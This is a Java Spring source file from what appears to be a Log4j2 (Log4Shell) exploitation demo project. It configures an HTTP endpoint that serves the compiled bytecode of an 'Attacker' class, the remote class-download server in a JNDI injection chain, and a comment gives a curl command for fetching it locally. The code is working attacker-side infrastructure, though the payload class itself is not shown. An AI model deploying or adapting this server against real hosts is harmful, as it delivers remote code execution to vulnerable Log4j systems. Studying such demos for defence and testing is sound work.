package com.morningyet.bug.log4j2.attacker.controller;

import com.morningyet.bug.log4j2.attacker.hacker.Attacker;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.HttpRequestHandler;
import org.springframework.web.servlet.handler.SimpleUrlHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Properties;

/**
 * 类com.langdashu.bug.log4j2.attacker.hacker.Attacker的字节码文件下载服务
 *
 * @author moringyet
 */
@Configuration
public class AttackerClazzController {

    private static final Logger logger = LoggerFactory.getLogger(AttackerClazzController.class);

    private static final String ATTACKER_CLASS_DOWNLOAD_HANDLER = "attackerClassFileController";

    /**
     * 类com.langdashu.bug.log4j2.attacker.hacker.Attacker的字节码文件下载接口
     *
     * 接口测试指令
     *
     * curl http://127.0.0.1:18081/com/langdashu/bug/log4j2/attacker/hacker/Attacker.class -v --output Attacker.class
     * @return 字节码文件流
     */
    @Bean("simpleUrlAttackerHandlerMapping")
    public SimpleUrlHandlerMapping simpleUrlHandlerMapping() {
        SimpleUrlHandlerMapping simpleUrlHandlerMapping = new SimpleUrlHandlerMapping();
        simpleUrlHandlerMapping.setOrder(1000);
        Properties properties = new Properties();
        properties.put(AbstractHandler.getBytecodeFilePath(Attacker.class), ATTACKER_CLASS_DOWNLOAD_HANDLER);
        simpleUrlHandlerMapping.setMappings(properties);
        return simpleUrlHandlerMapping;
    }

    @Bean(ATTACKER_CLASS_DOWNLOAD_HANDLER)
    public AttackerClazzHandler attackerClazzHandler() {
        return new AttackerClazzHandler();
    }

    private static class AttackerClazzHandler extends AbstractHandler implements HttpRequestHandler {

        @Override
        public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws IOException {
            logger.info("handleRequest:{}", request.getRequestURI());
            outputBytecode(response, Attacker.class);
        }

    }

}
